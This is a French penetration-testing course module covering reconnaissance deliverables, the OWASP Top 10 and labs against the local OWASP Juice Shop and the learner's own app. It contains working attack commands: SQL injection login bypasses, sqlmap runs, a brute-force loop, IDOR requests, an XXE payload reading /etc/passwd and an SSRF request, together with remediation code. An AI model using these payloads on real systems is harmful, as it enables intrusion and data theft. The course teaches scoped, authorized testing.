Jour 1 · Cartographier avant de frapper · 45 min
Consolider une journée de recon en deux livrables propres : la carte des endpoints et la trame « périmètre et méthodologie » du futur rapport.
La cartographie faite, il faut la figer pendant qu'elle est fraîche. Ces deux livrables sont exactement ce que le point de contrôle de ce soir vérifie, et la partie 2 du rapport de jeudi. Rédigés maintenant, ils prennent 45 minutes ; reconstitués jeudi de mémoire, ils seront faux.
- Finalisez
artefacts/endpoints.md. Une ligne par endpoint, avec : méthode HTTP, chemin, source de la découverte (proxy / ffuf / nuclei / robots), ce qu'il fait, et une colonne « à tester » (injection ? autorisation ? SSRF ?). C'est votre plan d'attaque de demain. - Ouvrez le rapport et posez son en-tête et sa partie 2, la seule que vous puissiez écrire dès aujourd'hui. Le reste se remplira jeudi.
mkdir -p rapports cat > rapports/pentest-juice-shop.md <<'EOF' # Rapport de test d'intrusion — OWASP Juice Shop ## 1. Resume executif _(a rediger en dernier, jeudi — 1 page sans jargon)_ ## 2. Perimetre et methodologie - Cible : OWASP Juice Shop, image bkimminich/juice-shop:v17.3.0 - Adresse : http://localhost:3000 (conteneur local, reseau dso-net) - Type de test : boite noire, sans acces au code source - Autorise : la cible locale uniquement ; aucun systeme tiers, aucun acces Internet - Hors-scope : toute ressource autre que localhost:3000 - Periode : 18-20 aout 2026 - Methode : reconnaissance (proxy, robots), cartographie (ffuf, nuclei), exploitation manuelle de l'OWASP Top 10, verification par rejeu. - Outils : mitmproxy, ffuf 2.1.0, nuclei 3.3.0, sqlmap 1.8.7, OWASP ZAP 2.15.0. ## 3. Synthese des findings _(tableau F-NN / titre / severite / CVSS / statut — a remplir)_ ## 4. Findings detailles _(un bloc par vulnerabilite, gabarit du referentiel)_ ## 5. Feuille de route de remediation _(findings ordonnes par severite puis effort)_ ## 6. Annexes _(commandes rejouables, sorties d'outils, references CWE/OWASP)_ EOF - Relisez votre partie 2 comme le ferait un client : est-ce qu'un tiers, sans votre poste, comprend ce qui a été testé, sur quoi, et ce qui était interdit ? La ligne « autorisé / hors-scope » n'est pas décorative — c'est ce qui protège juridiquement un pentester, et c'est ici l'exacte transcription de votre cadre de parcours.
- Dressez enfin une liste de pistes dans
artefacts/pistes.md: pour chaque endpoint « à tester », l'hypothèse d'attaque et l'outil pressenti. Demain, vous n'improviserez pas — vous déroulerez cette liste. C'est la différence entre un test méthodique et une exploration au hasard. - Versionnez ce qui doit l'être :
rapports/pentest-juice-shop.mdva dans Git (c'est un livrable), les sorties brutes d'artefacts/restent hors Git (.gitignore). Un commit : « pentest juice-shop : reconnaissance et carte ».
- La partie 2 (périmètre et méthodologie) est la seule rédigeable dès le premier jour. Pourquoi est-ce aussi, juridiquement, la plus importante du rapport ?
- Votre liste de pistes engage la journée de demain. Que gagnez-vous à la figer ce soir plutôt qu'à improviser demain matin ?
La tentation, à 16 h, est de bâcler ce TP « puisque ce n'est que de la rédaction ». C'est l'inverse : c'est le seul moment où votre reconnaissance est intégralement en tête. Ce que vous ne consignez pas maintenant sera à re-trouver demain, temps perdu sur l'exploitation. Test : votre pistes.md doit contenir au moins un point d'injection, un point d'autorisation (IDOR) et une piste SSRF ou XXE — sinon la journée de demain n'a pas de plan.
Intention — transformer une journée de recon en livrables figés (carte + partie 2 du rapport + liste de pistes), pendant que la matière est fraîche. C'est le TP de rédaction imposé par le § 12 du référentiel : ses steps sont les critères du PC du soir.
Ce qui coince
- Le TP bâclé « parce que ce n'est que de l'écriture ». C'est là que se joue le rapport de jeudi ; un carnet vague donne un rapport vague.
- La partie 2 réduite à « j'ai testé Juice Shop ». Elle doit porter versions, dates, autorisé/hors-scope — la transcription du cadre légal, pas une phrase.
- Une liste de pistes sans hypothèse : « tester /api/Users » ne dit pas quoi y chercher. Exiger l'hypothèse d'attaque et l'outil.
Questions à anticiper
- « Pourquoi versionner le rapport et pas les artefacts ? » — le rapport est le livrable (Git) ; les sorties d'outils sont volumineuses et régénérables (hors Git,
.gitignoreposé en M1). - « Je remplis déjà la synthèse des findings ? » — non, rien n'est encore exploité ; seule la partie 2 est honnêtement rédigeable aujourd'hui.
Ce qu'il faut exiger — endpoints.md, la partie 2 du rapport, et pistes.md avec au moins injection + IDOR + SSRF/XXE. Le critère décisif : que la liste de pistes soit un vrai plan d'attaque pour demain, pas un inventaire.
M5 · J1 — Surface cartographiée : endpoints, ffuf et nuclei tracés
Jour 1 · Cartographier avant de frapper · 30 min
30 minutes à distance avec Samer. Il ne relira pas toutes vos sorties : il ouvrira artefacts/endpoints.md et vous demandera, pour deux ou trois endpoints, ce que vous comptez y tester demain et pourquoi. Si vous savez répondre, votre cartographie est bonne.
Préparez une phrase sur le faux 404 des SPA : c'est le concept du jour, et c'est ce qui distingue quelqu'un qui a lancé ffuf de quelqu'un qui l'a compris.
Intention — vérifier que la cartographie est exploitable pour demain, pas qu'elle est exhaustive. Le point de 16 h 30 se tient sur une question : « pour cet endpoint, que testes-tu demain et pourquoi ? ». Une bonne carte y répond ; une carte décorative non.
Déroulé proposé (30 min)
- 10 min : ouvrir
endpoints.mdet interroger deux ou trois lignes au hasard — que fait cet endpoint, par où l'attaquer. - 10 min : vérifier une preuve rejouable (le
/ftpou le/metrics) et une remontée nuclei confirmée à la main. - 10 min : valider la liste de pistes comme plan d'attaque de J2.
Ce qui coince
- Une carte qui liste sans hypothèse. Test : s'il ne sait pas dire quoi tester sur
/api/Users, la carte est un inventaire, pas un plan. - Des remontées nuclei promues en findings sans vérification. Le critère 6 existe précisément pour ça ; le faire recocher après discussion si besoin.
- Le faux 404 non compris : s'il ne sait pas pourquoi
-mc 200est inutile, reprendre 5 minutes, sinon le fuzzing de demain (paramètres) sera faux.
Questions à anticiper
- « Ma carte est-elle complète ? » — non, et ce n'est pas le critère ; elle doit être exploitable. On n'exige pas l'exhaustivité en un jour de boîte noire.
- « J'ai peu de findings nuclei. » — normal et sain ; la richesse viendra de l'exploitation manuelle de demain.
Ce qu'il faut exiger — la carte, les trois artefacts (ffuf, nuclei, pistes) et surtout une réponse claire à « que testes-tu demain, et pourquoi ». Et le dernier critère, non négociable : rien n'a visé autre chose que localhost.
L'OWASP Top 10, arme à la main
Jour 2 · Exploiter le Top 10, prouver, corriger · 25 min
Vous connaissez l'OWASP Top 10 depuis M1, du côté du défenseur. Aujourd'hui vous le prenez par l'autre bout : ce n'est plus une liste de risques à éviter, c'est une liste de choses à essayer, dans l'ordre, sur chaque endpoint de votre carte.
Le Top 10 2021 range les faiblesses par famille. Voici celles que vous exploitez aujourd'hui,
ce qu'elles valent sur Juice Shop, et l'équivalent que vous connaissez déjà sur
devsecops-lab — c'est le pont entre votre banc d'essai en boîte blanche et la cible en
boîte noire.
| Famille OWASP 2021 | Ce qu'on exploite aujourd'hui | Vous connaissez déjà (devsecops-lab) |
|---|---|---|
| A01 — Contrôle d'accès défaillant | IDOR / BOLA : lire le panier d'un autre utilisateur | VULN-04 — /profile/<uid> |
| A03 — Injection | SQLi : contourner l'authentification, extraire la base (sqlmap) | VULN-01 — /login concaténé ; VULN-02 — XSS |
| A07 — Défaillances d'authentification | Absence de limitation, jetons lisibles, réinitialisation faible | — |
| A10 — SSRF | Faire appeler par le serveur une ressource interne | VULN-08 — /fetch |
| A05 / A08 — Mauvaise config / désérialisation | XXE : faire lire un fichier au parseur XML | VULN-07 — yaml.load |
La règle du jour : exploiter, prouver, remédier
Chaque faille suit le même triptyque, et aucune étape n'est facultative :
- Exploiter — obtenir un effet concret (un accès, une donnée, un comportement) et non un simple « ça a l'air vulnérable ».
- Prouver — la commande exacte et sa sortie, rejouables par un tiers. C'est ce qui deviendra un finding.
- Remédier — dire comment on ferme, et le vérifier. Sur Juice Shop la
remédiation est conceptuelle (vous ne touchez pas son code) ; sur devsecops-lab, où
vous corrigez
VULN-04etVULN-08cet après-midi, elle est réelle et vérifiée par rejeu.
Un pentester s'arrête à la preuve. Vous démontrez qu'un accès non autorisé est possible ; vous ne videz pas la base, vous ne détruisez rien, vous ne pivotez pas au-delà du périmètre. La preuve minimale suffisante est la marque du professionnel — et elle protège la cible autant que vous.
Vous avez une liste de pistes depuis hier (artefacts/pistes.md). Déroulez-la. Un test méthodique traite chaque endpoint de la carte ; une exploration au hasard « tombe » sur des failles et en manque autant. C'est la carte qui garantit la couverture, pas l'intuition.
Intention — retourner le Top 10 du côté offensif et imposer le triptyque exploiter/prouver/remédier. Le pont boîte blanche ↔ boîte noire (VULN-NN de devsecops-lab en regard des classes exploitées sur Juice Shop) est ce qui rend la journée cohérente avec les quatre modules précédents.
Ce qui coince
- « Ça a l'air vulnérable » pris pour une exploitation. Exiger un effet concret : un accès, une donnée, un comportement — pas une intuition.
- La remédiation oubliée dans l'excitation de l'exploit. Le triptyque est indivisible ; un exploit sans remédiation n'est pas un finding complet.
- La confusion remédiation conceptuelle (Juice Shop) / réelle (devsecops-lab). Il ne corrige QUE VULN-04 et VULN-08, et sur SA seule appli.
Questions à anticiper
- « Je peux vider la base pour bien prouver ? » — non. La preuve minimale suffisante ; c'est une règle déontologique et un réflexe pro. À reprendre si l'idée surgit.
- « Pourquoi ne pas corriger Juice Shop aussi ? » — on n'en possède pas le code ; la remédiation y est conceptuelle. C'est la distinction des deux cibles de L1.
Ce qu'il faut exiger — qu'il énonce le triptyque et sache, pour une classe, dire où sera la remédiation réelle (devsecops-lab) et où elle sera conceptuelle (Juice Shop). Sans cela, le rapport mélangera constats et corrections fantômes.
TP 5 — Injection : de la faille connue à la cible inconnue (sqlmap)
Jour 2 · Exploiter le Top 10, prouver, corriger · 1 h 15
Confirmer l'injection SQL sur votre banc d'essai, puis la porter sur Juice Shop — à la main pour comprendre, avec sqlmap pour aller au fond.
On commence sur votre appli, dont vous connaissez le code. Assurez-vous qu'elle répond : docker start devsecops-lab puis curl -s -o /dev/null -w '%{http_code}\n' http://localhost:5000/. Juice Shop tourne toujours sur 3000 depuis hier.
- Rejouez d'abord l'injection que vous connaissez : sur devsecops-lab, le
/loginconcatène ses paramètres (VULN-01). Une apostrophe suivie d'un commentaire SQL contourne le mot de passe.curl -s -X POST http://localhost:5000/login \ --data "user=admin'--&pwd=peu_importe" # -> "bienvenue" (HTTP 200), sans le bon mot de passe : l'authentification est contournee - Vous obtenez
bienvenuealors qu'aucun mot de passe valide n'a été fourni. Vous savez à quoi ressemble une injection réussie : une requête dont la structure a été détournée par une apostrophe. Gardez ce repère en tête — vous allez chercher le même comportement sur une cible dont vous ignorez le code. - Passez sur Juice Shop, en boîte noire. Le formulaire de connexion envoie du JSON à
/rest/user/login. Écrivez la charge dans un fichier pour éviter l'enfer des guillemets, puis postez-la : l'email' OR 1=1--détourne la requête.cat > artefacts/inj-login.json <<'JSON' {"email":"' OR 1=1--","password":"x"} JSON curl -s -X POST http://localhost:3000/rest/user/login \ -H 'Content-Type: application/json' \ --data @artefacts/inj-login.json - La réponse contient un objet
authenticationavec untokenet l'adresseadmin@juice-sh.op: vous êtes connecté en tant qu'administrateur, sans son mot de passe. C'est le même mécanisme que sur votre banc d'essai, sur une cible dont vous n'avez jamais lu le code. Copiez ce token, il servira aux TP suivants. - La preuve manuelle établit la faille ; sqlmap en mesure la profondeur. Lancez-le sur le paramètre
qde la recherche produit, repéré hier.--batchrépond « oui » à tout,--dbms=sqlitecible le bon moteur.sqlmap -u "http://localhost:3000/rest/products/search?q=a" \ --batch --dbms=sqlite --level=2 --risk=2 \ --output-dir=artefacts/sqlmap - sqlmap confirme que
qest injectable et identifie le type (souvent une injection UNION sur SQLite). Il vous a fait gagner ce que la main aurait mis une heure à établir. Arrêtez-vous là dans l'extraction : la preuve d'injectabilité suffit au finding. - Pour le rapport, une seule démonstration ciblée d'impact vaut mieux qu'un dump massif. Listez les tables — sans vider la base.
sqlmap -u "http://localhost:3000/rest/products/search?q=a" \ --batch --dbms=sqlite --tables \ --output-dir=artefacts/sqlmap - Vous voyez apparaître une table
Users(ou équivalent). C'est l'impact démontré : l'injection ne contourne pas seulement la connexion, elle donne accès au schéma. Notez la sortie, ne la videz pas — la preuve minimale suffisante. - Rédigez le finding F-01 tout de suite, tant que c'est frais : composant (
POST /rest/user/login, paramètreemail; etGET /rest/products/search, paramètreq), preuve rejouable (les commandes ci-dessus), sévérité pressentie (une injection contournant l'authentification est typiquement Critical). Vous poserez le vecteur CVSS exact au TP de rédaction.
- Vous avez confirmé l'injection sur devsecops-lab avant Juice Shop. En quoi connaître le code de la première a-t-il rendu la seconde plus rapide à reconnaître ?
- sqlmap peut vider toute la base ; vous vous êtes arrêté aux tables. Pourquoi cette retenue est-elle une compétence professionnelle et pas une faiblesse ?
- La remédiation de VULN-01 (requête paramétrée) est connue depuis M1. Pourquoi Juice Shop, elle, ne sera-t-elle pas « corrigée » par vos soins ?
Le piège des guillemets : la charge ' OR 1=1-- contient une apostrophe qui se bat avec le shell. Passez toujours par un fichier JSON (--data @fichier) plutôt que d'essayer d'échapper à la main — vous perdriez dix minutes en messages d'erreur trompeurs. Côté sqlmap, si l'outil « ne trouve rien », montez --level et --risk, et vérifiez que vous visez bien localhost:3000 et non une adresse externe. Test : vous devez pouvoir expliquer, en une phrase, pourquoi ' OR 1=1-- transforme la requête d'authentification en une condition toujours vraie.
Intention — matérialiser le pont boîte blanche → boîte noire sur l'injection : confirmer VULN-01 (connue) puis reconnaître le même mécanisme sur Juice Shop (inconnue), à la main d'abord, avec sqlmap ensuite. Et ancrer la retenue : preuve minimale, pas de destruction.
Ce qui coince
- L'enfer des guillemets sur la charge d'injection. Le fichier JSON +
--data @est la parade ; s'il s'obstine à échapper à la main, il perdra du temps. - sqlmap « ne trouve rien » : souvent
--level/--risktrop bas, ou cible mal formée. Vérifier aussi que Juice Shop a fini de démarrer. - La tentation de tout dumper « pour bien prouver ». À couper : l'impact se démontre par la liste des tables, pas par l'exfiltration.
- Écrire « corrigé » sur Juice Shop. On ne corrige que devsecops-lab, et pas aujourd'hui pour VULN-01 (déjà fait en M1).
Questions à anticiper
- « Pourquoi refaire VULN-01 sur devsecops-lab ? » — pour disposer du repère connu qui permet de reconnaître l'injection sur une cible opaque. C'est la réflexion 1.
- « sqlmap peut-il tout automatiser ? » — il exploite, il ne rédige pas le finding ni ne décide de l'impact acceptable ; c'est le rôle du pentester.
Ce qu'il faut exiger — la preuve manuelle du contournement d'auth sur Juice Shop (token admin obtenu) ET la confirmation sqlmap sur q, avec un F-01 amorcé. Le critère « il a compris » : qu'il se soit arrêté aux tables et sache dire pourquoi.
TP 6 — Authentification : jetons lisibles, pas de limite, reset faible
Jour 2 · Exploiter le Top 10, prouver, corriger · 1 h 15
Démontrer trois défaillances d'authentification distinctes (A07) sur Juice Shop, chacune avec sa preuve.
Le TP précédent vous a donné un jeton d'administrateur par injection. Ici on s'intéresse au mécanisme d'authentification lui-même : ce que le jeton révèle, l'absence de limitation des tentatives, et la réinitialisation par question secrète. Trois faiblesses, trois findings.
- Première faiblesse : le jeton est un JWT, et un JWT n'est pas chiffré, seulement signé. Reconnectez-vous normalement (avec un compte que vous avez créé hier) et récupérez le token, puis décodez sa charge — la partie du milieu, en base64url.
cat > artefacts/login.json <<'JSON' {"email":"VOTRE_EMAIL","password":"VOTRE_MDP"} JSON TOKEN=$(curl -s -X POST http://localhost:3000/rest/user/login \ -H 'Content-Type: application/json' --data @artefacts/login.json \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["authentication"]["token"])') # la charge du JWT est la 2e partie, encodee en base64url (non chiffree) echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo - Vous lisez en clair l'identifiant, l'email, le rôle, la date d'émission. Un JWT protège l'intégrité (on ne peut pas le modifier sans la clé) mais pas la confidentialité : tout ce qu'on y met est lisible par son porteur. Constat : informations sensibles exposées dans le jeton. Ne rien mettre dans un JWT qu'on n'accepterait pas de rendre public.
- Deuxième faiblesse : l'absence de limitation des tentatives. Une authentification saine ralentit ou bloque après quelques échecs. Scriptez dix tentatives erronées et regardez si le serveur réagit.
for i in $(seq 1 10); do code=$(curl -s -o /dev/null -w '%{http_code}' \ -X POST http://localhost:3000/rest/user/login \ -H 'Content-Type: application/json' \ --data '{"email":"admin@juice-sh.op","password":"faux'"$i"'"}') echo "tentative $i -> $code" done - Les dix tentatives renvoient le même
401, sans délai croissant ni blocage : rien n'empêche une attaque par force brute ou par dictionnaire. Constat : absence de limitation du taux de tentatives. La preuve, c'est la régularité des réponses — collez la sortie. - Troisième faiblesse : la réinitialisation de mot de passe repose sur une question secrète, dont la réponse est souvent devinable ou publique (ville de naissance, nom d'un animal, film préféré). Repérez le mécanisme.
curl -s http://localhost:3000/rest/user/security-questions curl -s 'http://localhost:3000/api/SecurityAnswers/' | head -c 300; echo - Vous constatez que le compte est récupérable par une donnée que l'utilisateur partage volontiers ailleurs. Une question secrète n'est pas un second facteur : c'est un mot de passe faible et permanent, impossible à changer une fois éventé. Constat : réinitialisation par question secrète.
- Vous tenez trois findings distincts au sein d'une même famille (A07). Rédigez-les séparément — jeton trop bavard, pas de limitation, reset faible — car ils ont trois remédiations différentes : réduire le contenu du JWT ; ajouter une limitation et un verrouillage ; remplacer la question secrète par un lien de réinitialisation à durée de vie courte, idéalement avec un second facteur.
- Un JWT est signé mais pas chiffré. Quelle règle en tirez-vous sur ce qu'on a le droit d'y placer, et pourquoi la signature ne suffit-elle pas à protéger son contenu ?
- L'absence de limitation des tentatives n'est pas une faille « qui donne accès » à elle seule. Pourquoi est-elle quand même à signaler, et quelle autre faiblesse rend-elle exploitable ?
- En quoi une question secrète est-elle structurellement pire qu'un mot de passe, alors qu'elle en a l'apparence ?
Le décodage du JWT bute souvent sur le base64url : la charge peut manquer de caractères de remplissage (=) et base64 -d râle. Le 2>/dev/null masque le bruit ; si rien ne sort, ajoutez le remplissage ou utilisez un décodeur base64url. L'essentiel est de voir que la charge est lisible, pas d'avoir un décodage parfait. Pour la limitation, ne concluez pas trop vite : dix 401 identiques prouvent l'absence de ralentissement, c'est bien le résultat attendu, pas un échec de votre test.
Intention — décomposer A07 en trois faiblesses aux remédiations distinctes, pour casser le réflexe « authentification cassée » en bloc. Chacune doit devenir un finding séparé avec sa preuve et sa correction propre.
Ce qui coince
- Croire qu'un JWT est chiffré. Le décoder à la main est la démonstration ; s'il pense que c'est « cassé le chiffrement », reprendre signature ≠ confidentialité.
- Le base64url sans remplissage : décodage bruyant. Ce n'est pas grave, l'objectif est de constater la lisibilité.
- Fusionner les trois faiblesses en un seul finding : elles ont trois remédiations, donc trois findings.
- Conclure « pas de faille » parce que les tentatives renvoient 401 : c'est justement l'uniformité (aucun blocage) qui est le constat.
Questions à anticiper
- « La limitation, ce n'est pas une vraie faille ? » — seule, non ; combinée à un mot de passe faible, elle rend la force brute possible. C'est la réflexion 2.
- « Je peux forger un JWT ? » — la signature l'en empêche sans la clé ; le forgeage avancé (clé faible, alg none) dépasse le cadre du module, à mentionner sans TP.
Ce qu'il faut exiger — trois findings distincts, chacun prouvé (charge JWT décodée, dix 401 réguliers, mécanisme de question secrète repéré) et doté d'une remédiation propre. Le critère « il a compris » : qu'il énonce signature ≠ confidentialité sans hésiter.
Quiz — Exploitation et remédiation
Jour 2 · Exploiter le Top 10, prouver, corriger · 10 min
1. Sur Juice Shop, l'email ' OR 1=1-- vous connecte sans mot de passe. Quelle remédiation ferme réellement cette injection ?
2. Vous décodez la charge d'un JWT et y lisez l'email et le rôle en clair. Qu'est-ce que cela prouve ?
3. Vous pouvez lire le panier d'un autre client en changeant un identifiant dans l'URL. Comment nomme-t-on cette faiblesse et comment la corriger ?
4. Pourquoi une SSRF est-elle dangereuse même quand l'application ne renvoie pas le contenu récupéré ?
5. Vous vous êtes arrêté à la liste des tables plutôt que de vider la base. Quelle bonne pratique appliquez-vous ?
Intention — vérifier que chaque exploit de la journée est associé à sa remédiation correcte et à sa bonne dénomination. Le quiz sépare injection (q1), JWT (q2), IDOR (q3), SSRF (q4) et la déontologie de la preuve (q5).
Ce qui coince
- q1 : le filtrage côté client choisi comme remédiation. Erreur classique et grave — le contrôle navigateur ne protège rien. À reprendre absolument.
- q3 : IDOR confondu avec injection. Signe qu'il classe les failles par « ça change une URL » plutôt que par mécanisme. Reprendre la taxonomie.
- q4 : SSRF réduite à « exécution de code » ou « fuite de mot de passe ». Le cœur est la position réseau du serveur, pas une conséquence fixe.
Questions à anticiper
- « Le filtrage client, c'est mieux que rien ? » — comme confort UX oui, comme sécurité non : contourné d'un curl. Ne jamais le compter comme remédiation.
- « Chiffrer la base ne protège pas de l'injection ? » — non : l'appli déchiffre pour répondre, l'attaquant lit via la faille. Bon moment pour distinguer les menaces.
Ce qu'il faut exiger — 4/5, q1 et q3 impérativement justes (remédiation d'injection et nature de l'IDOR sont le cœur du rapport). Une erreur sur q5 est moins grave mais à discuter : la retenue est un réflexe pro qu'on installe maintenant.
XXE : quand le parseur XML lit vos fichiers
Jour 2 · Exploiter le Top 10, prouver, corriger · 20 min
Vous avez rencontré en M2, sur devsecops-lab, la désérialisation non sûre
(VULN-07, yaml.load) : un format de données qui, mal parsé, exécute du
code. L'XXE (XML External Entity) en est le cousin côté XML, et il illustre
la même leçon : un parseur trop serviable est une porte d'entrée.
Le mécanisme
Le XML permet de définir des entités — des raccourcis. Une entité peut pointer vers une ressource externe, y compris un fichier local du serveur. Si le parseur résout ces entités externes (ce qu'il ne devrait jamais faire par défaut), il va lire le fichier et l'inclure dans le document traité :
<!DOCTYPE root [ <!ENTITY secret SYSTEM "file:///etc/passwd"> ]>Un document qui référence ensuite &secret; se voit remplacer l'entité par le
contenu du fichier. L'application, croyant lire des données, lit et renvoie
/etc/passwd. Selon la configuration, on peut ainsi lire des fichiers, atteindre des
services internes (une SSRF déguisée) ou provoquer un déni de service.
XXE, yaml.load, pickle, la sérialisation Java : à chaque fois, un format de données a le droit de déclencher un comportement — inclure un fichier, instancier un objet, exécuter une fonction. La règle est toujours la même : les données ne doivent jamais être exécutables. On désactive les fonctionnalités actives du parseur, on ne fait pas confiance à l'entrée.
La remédiation
Elle est nette et se dit en une phrase : désactiver la résolution des entités externes et des DTD dans la configuration du parseur XML. Tous les parseurs modernes offrent l'option ; la plupart la désactivent désormais par défaut — ce qui signifie qu'un XXE exploitable révèle un parseur ancien ou reconfiguré à tort.
Juice Shop accepte des fichiers XML (le formulaire de réclamation). Vous y tenterez un XXE au TP suivant. Comme pour tout Juice Shop, la remédiation reste conceptuelle — vous n'en possédez pas le code. La seule remédiation que vous écrirez et vérifierez aujourd'hui porte sur votre appli : VULN-04 (IDOR) et VULN-08 (SSRF).
Intention — présenter l'XXE comme un cas de la classe « données exécutables », reliée à la désérialisation vue en M2, plutôt qu'une nouveauté isolée. Le message dure au-delà de l'XML : ne jamais laisser une entrée déclencher un comportement.
Ce qui coince
- Voir l'XXE comme « une faille XML » sans le rapprocher de la désérialisation. Le rapprochement est justement la valeur de la leçon.
- Croire que la remédiation est « valider le XML ». Non : on désactive entités externes et DTD ; valider le contenu ne suffit pas.
Questions à anticiper
- « C'est encore courant ? » — moins, car désactivé par défaut sur les parseurs récents ; d'où l'intérêt de savoir que sa présence trahit un composant ancien.
- « Pourquoi on ne corrige pas l'XXE de Juice Shop ? » — code non possédé ; remédiation conceptuelle. Rappeler la règle des deux cibles.
Ce qu'il faut exiger — qu'il relie XXE et désérialisation par le même principe (données non exécutables) et énonce la remédiation (couper entités externes / DTD). Sans cela, le finding XXE du rapport aura une remédiation floue.
TP 7 — Serveur : IDOR et XXE sur la cible, puis corriger VULN-04 et VULN-08
Jour 2 · Exploiter le Top 10, prouver, corriger · 1 h 30
Exploiter un contrôle d'accès défaillant et un XXE sur Juice Shop, prouver une SSRF sur votre appli, puis fermer réellement VULN-04 et VULN-08 et le vérifier par rejeu.
Juice Shop (3000) : on exploite, on prouve, la remédiation reste conceptuelle. devsecops-lab (5000) : on prouve et on corrige pour de vrai. Pour itérer vite sur la correction, on lance votre appli en local avec Python ; libérez d'abord le port : docker stop devsecops-lab.
- Juice Shop — IDOR/BOLA. Connectez-vous avec votre compte et notez le
bid(identifiant de panier) que l'application vous attribue. Puis demandez le panier d'un autre identifiant, avec votre propre jeton.# votre jeton (reprenez celui du TP 5, ou reconnectez-vous) TOKEN="COLLEZ_VOTRE_TOKEN_ICI" # votre panier — notez son id curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/rest/basket/1 # le panier d'un autre : changez le numero curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/rest/basket/2 - Si le second appel vous renvoie le panier d'un autre client alors que votre jeton ne vous y autorise pas, c'est un IDOR (BOLA) : l'application expose un identifiant direct sans vérifier l'appartenance. Preuve : les deux réponses, avec deux
biddifférents pour un seul jeton. C'est votre finding contrôle d'accès. - Juice Shop — XXE. Le formulaire de réclamation accepte des fichiers, dont du XML. Fabriquez un document dont une entité externe pointe vers un fichier du serveur, puis envoyez-le à l'endpoint d'upload.
cat > artefacts/xxe.xml <<'XML' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> XML curl -s -F 'file=@artefacts/xxe.xml' http://localhost:3000/file-upload - Si la réponse (ou l'erreur renvoyée) laisse apparaître le contenu de
/etc/passwd, le parseur a résolu l'entité externe : XXE confirmé. Selon la version, la fuite peut être directe ou indirecte (message d'erreur, délai) ; consignez ce que vous obtenez, tel quel. La remédiation, conceptuelle ici, est celle de la leçon : désactiver entités externes et DTD. - devsecops-lab — prouver la SSRF (VULN-08). Lancez votre appli en local. Son endpoint
/fetchrécupère, côté serveur, l'URL que vous lui donnez.docker stop devsecops-lab 2>/dev/null cd ~/devsecops-lab && python app.py & sleep 2 # le serveur va chercher, pour vous, un service que vous lui designez curl -s "http://localhost:5000/fetch?url=http://localhost:3000/metrics" | head -5 - Le serveur vous renvoie le contenu de
/metricsde Juice Shop : c'est lui, avec sa position réseau, qui est allé le chercher. Dans un vrai déploiement, ce paramètre atteindrait les métadonnées cloud ou un service interne non exposé. SSRF prouvée (VULN-08). - Corriger VULN-08. Créez une branche et remplacez la fonction
fetchpar une version qui n'autorise qu'une liste blanche d'hôtes et refuse tout le reste.git checkout -b fix/vuln-08-ssrf # --- remplacez la fonction fetch() de app.py par ceci --- # from urllib.parse import urlparse (a ajouter en haut du fichier) # # ALLOWLIST = {"api.partenaire.example"} # hotes explicitement autorises # # @app.route("/fetch") # def fetch(): # u = request.args.get("url", "") # p = urlparse(u) # if p.scheme not in ("http", "https") or p.hostname not in ALLOWLIST: # return {"erreur": "hote non autorise"}, 400 # return requests.get(u, timeout=3).text - Relancez l'appli et rejouez exactement la requête d'attaque : elle doit désormais être refusée.
# arreter l'ancien processus puis relancer pkill -f 'python app.py'; sleep 1 cd ~/devsecops-lab && python app.py & sleep 2 curl -s -o /dev/null -w 'ssrf apres correction -> %{http_code}\n' \ "http://localhost:5000/fetch?url=http://localhost:3000/metrics" # -> 400 : l'hote n'est pas dans la liste blanche - Un
400sur la charge qui passait il y a deux minutes : la remédiation est vérifiée par rejeu, pas seulement annoncée. C'est ce que le référentiel exige d'un finding — une remédiation qu'un tiers peut re-tester. - Corriger VULN-04 (IDOR). Même méthode sur
/profile/<uid>: on vérifie que le porteur du jeton n'accède qu'à son propre profil.git checkout main && git checkout -b fix/vuln-04-idor # --- remplacez la fonction profile() de app.py par ceci --- # JETONS = {"jeton-alice": 1} # jeton -> id autorise (minimal, tient lieu de session) # # @app.route("/profile/<int:uid>") # def profile(uid): # appelant = JETONS.get(request.headers.get("Authorization", "")) # if appelant is None or appelant != uid: # return {"erreur": "acces refuse"}, 403 # row = db().execute("SELECT user FROM users WHERE id=?", (uid,)).fetchone() # return {"id": uid, "user": row[0] if row else None} - Relancez, puis prouvez les trois comportements : sans jeton, refusé ; avec le bon jeton sur son propre profil, autorisé ; avec ce même jeton sur un autre profil, refusé.
pkill -f 'python app.py'; sleep 1 cd ~/devsecops-lab && python app.py & sleep 2 curl -s -o /dev/null -w 'sans jeton -> %{http_code}\n' http://localhost:5000/profile/1 curl -s -o /dev/null -w 'bon jeton, id 1 -> %{http_code}\n' \ -H 'Authorization: jeton-alice' http://localhost:5000/profile/1 curl -s -o /dev/null -w 'jeton id 1 -> id 2 -> %{http_code}\n' \ -H 'Authorization: jeton-alice' http://localhost:5000/profile/2 # attendu : 403 / 200 / 403 403 / 200 / 403: l'accès est désormais lié à l'identité, pas à la connaissance de l'identifiant. C'est le cœur de la remédiation d'un IDOR — une vérification d'autorisation côté serveur. Ce jeton codé en dur est un raccourci de maquette qui tient lieu de session ; le principe (vérifier l'appartenance) est le vrai livrable. Committez chaque correction sur sa branche, message clair.
- L'IDOR de Juice Shop et le vôtre sur devsecops-lab ont la même remédiation. Formulez-la sans citer de langage : que doit vérifier le serveur, et pourquoi le client ne peut-il jamais en être responsable ?
- Votre correction SSRF repose sur une liste blanche. Pourquoi une liste noire (« interdire 169.254.169.254 et localhost ») serait-elle une bien moins bonne idée ?
- Vous avez prouvé chaque correction par rejeu de la charge d'attaque. En quoi un rapport qui dit « corrigé » sans ce rejeu est-il aussi peu fiable qu'un finding sans preuve ?
Le piège du jeton dans le TP IDOR de Juice Shop : le préfixe Bearer est obligatoire dans l'en-tête, et le jeton expire — si vous récoltez des 401, reconnectez-vous et reprenez un jeton frais avant de soupçonner autre chose. Pour les corrections, l'erreur classique est d'éditer app.py sans relancer le processus : Flask en debug=True recharge sur sauvegarde, mais si vous l'avez lancé en arrière-plan, un pkill -f 'python app.py' puis relance lève tout doute. Test de sortie : vous devez avoir, côte à côte, la charge qui passait AVANT et la même charge refusée APRÈS, pour VULN-08 comme pour VULN-04.
